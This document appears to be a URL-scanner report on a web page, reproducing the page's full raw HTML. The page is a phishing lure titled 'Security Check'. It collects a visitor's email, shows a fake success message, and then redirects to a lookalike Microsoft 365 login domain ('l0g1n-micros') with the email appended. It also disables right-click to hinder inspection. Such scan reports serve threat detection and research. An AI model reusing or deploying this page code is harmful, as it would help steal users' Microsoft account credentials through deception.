- Scan ID:
- c4f7cb6c-acbf-43ef-af99-392f40df9d4bFinished
- Submitted URL:
- https://main.d3engbxc9elyir.amplifyapp.com/
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 3 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
Console log messages · 2 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | other |
|
error | network |
|
HTML
The raw HTML body of the page
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Check</title>
<!-- Security Headers -->
<meta name="robots" content="noindex, nofollow, noarchive">
<meta http-equiv="X-Content-Type-Options" content="nosniff">
<meta http-equiv="X-Frame-Options" content="DENY">
<meta http-equiv="X-XSS-Protection" content="1; mode=block">
<meta http-equiv="Strict-Transport-Security" content="max-age=31536000; includeSubDomains; preload">
<meta http-equiv="Referrer-Policy" content="no-referrer">
<style>
body {
font-family: 'Arial', sans-serif;
background-color: #f9f9f9;
margin: 0;
padding: 0;
}
.container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
position: relative;
}
.image-container {
width: 100%;
max-width: 900px;
}
.image-container img {
width: 100%;
height: auto;
display: block;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}
input[type="email"] {
width: 300px;
padding: 12px;
margin: 20px 0;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 16px;
transition: border-color 0.3s;
}
input[type="email"]:focus {
border-color: #4CAF50;
outline: none;
}
button {
padding: 10px 20px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
transition: background-color 0.3s;
}
button:hover {
background-color: #45a049;
}
.security-check {
display: none;
margin-top: 1rem;
font-size: 1rem;
color: #4CAF50;
text-align: center;
background-color: #f2f2f2;
padding: 10px 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
}
.error-message {
color: red;
display: none;
margin-top: 10px;
}
</style>
</head>
<body oncontextmenu="return false;">
<div class="container">
<div class="image-container">
<img src="https://pbs.twimg.com/media/GGrR89_WgAAgrOI?format=jpg&name=large" alt="Simulating Disconnection...">
</div>
<input type="email" id="email" placeholder="Enter your email" required="">
<p class="error-message" id="errorMessage">Please enter a valid email address.</p>
<button id="submitButton">Submit</button>
<p class="security-check" id="securityCheckMessage">Security check completed successfully!</p>
</div>
<script>
(function() {
'use strict';
function isValidEmail(email) {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return emailPattern.test(email);
}
document.getElementById('submitButton').onclick = function() {
const emailField = document.getElementById("email");
const errorMessage = document.getElementById("errorMessage");
const securityCheckMessage = document.querySelector('.security-check');
if (isValidEmail(emailField.value)) {
// Show security check message
securityCheckMessage.style.display = 'block';
// Redirect after 3 seconds
setTimeout(() => {
const redirectTo = "https://l0g1n-micros.ftdocs.tech/o365#" + emailField.value;
console.log("Redirecting to: " + redirectTo);
window.location.href = redirectTo;
}, 3000);
} else {
errorMessage.style.display = 'block';
}
};
})();
</script>
</body></html>